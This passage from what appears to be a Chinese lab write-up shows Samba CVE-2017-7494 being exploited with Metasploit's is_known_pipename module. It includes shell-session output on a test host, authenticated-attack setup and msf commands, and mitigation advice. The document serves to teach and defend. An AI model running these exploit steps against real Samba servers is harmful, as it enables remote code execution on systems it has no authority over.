[*] 192.168.232.137:445 - Trying location /var/samba/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /var/samba/fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /var/samba/FUPING/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /var/samba/Fuping/gRoUnyzb.so...
[*] 192.168.232.137:445 - Trying location /tmp/gRoUnyzb.so...
[*] Command shell session 1 opened (192.168.232.134:4444 -> 192.168.232.137:41392) at 2017-05-24 12:35:20 -0400
```

```
id
uid=65534(nobody) gid=0(root) groups=0(root),65534(nogroup)
whoami
nobody
ifconfig
docker0    Link encap:Ethernet  HWaddr 02:42:23:77:72:91
inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
inet6 addr: fe80::42:23ff:fe77:7291/64 Scope:Link
UP BROADCAST MULTICAST  MTU:1500  Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:2 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:0 (0.0 B)  TX bytes:180 (180.0 B)

ens33      Link encap:Ethernet  HWaddr 00:0c:29:77:23:9e
inet addr:192.168.232.137  Bcast:192.168.232.255  Mask:255.255.255.0
inet6 addr: fe80::7651:9ad0:80e5:c9c8/64 Scope:Link
UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
RX packets:349052 errors:0 dropped:0 overruns:0 frame:0
TX packets:112974 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:419009840 (419.0 MB)  TX bytes:8902292 (8.9 MB)

lo          Link encap:Local Loopback
inet addr:127.0.0.1  Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING  MTU:65536  Metric:1
RX packets:23329 errors:0 dropped:0 overruns:0 frame:0
TX packets:23329 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1
RX bytes:48010585 (48.0 MB)  TX bytes:48010585 (48.0 MB)
```


> 需要填写目标地址和选择Target，我的是x64位系统，所以设置了target为3。

效果图

更新

2017.05.26 对需要登陆的Smb进行验证

脚本已经更新，集成在msf中，直接msfupdate即可。

1.修改Ubuntu中的Samba配置文件。

```
sudo gedit /etc/samba/smb.conf
```

在[global]中添加: security = user
修改底部的[fuping]

```
[fuping] #■■■■■■■■■■  
path = /tmp  
writeable = yes
```

2.添加smb用户

```
sudo useradd smbuser  
sudo smbpasswd -a smbuser
```

3.开始攻击

```
msf > use exploit/linux/samba/is_known_pipename  
msf exploit(is_known_pipename) > set SMBUSER smbuser  
SMBUSER => smbuser  
msf exploit(is_known_pipename) > set SMBPASS smbuser  
SMBPASS => smbuser  
msf exploit(is_known_pipename) > set RHOST 192.168.232.137  
RHOST => 192.168.232.137  
msf exploit(is_known_pipename) > exploit
```

解决方案

- 1.受影响的用户尽快下载最新的Samba版本手动更新。
- 2.使用二进制分发包（RPM等方式）的用户立即进行yum，apt-get update等安全更新操作
- 3.不打补丁的缓解策略：用户可以通过在smb.conf的[global]节点下增加“nt pipe support = no”选项，然后重新启动samba服务，以此达到缓解该漏洞的效果。

参考

- [1]<https://github.com/rapid7/metasploit-framework/pull/8450>
- [2]<http://bobao.360.cn/learning/detail/3900.html>
- [3]<https://securityonline.info/cve-2017-7494-samba-remote-code-execution-vulnerability/>

0 回复Ta

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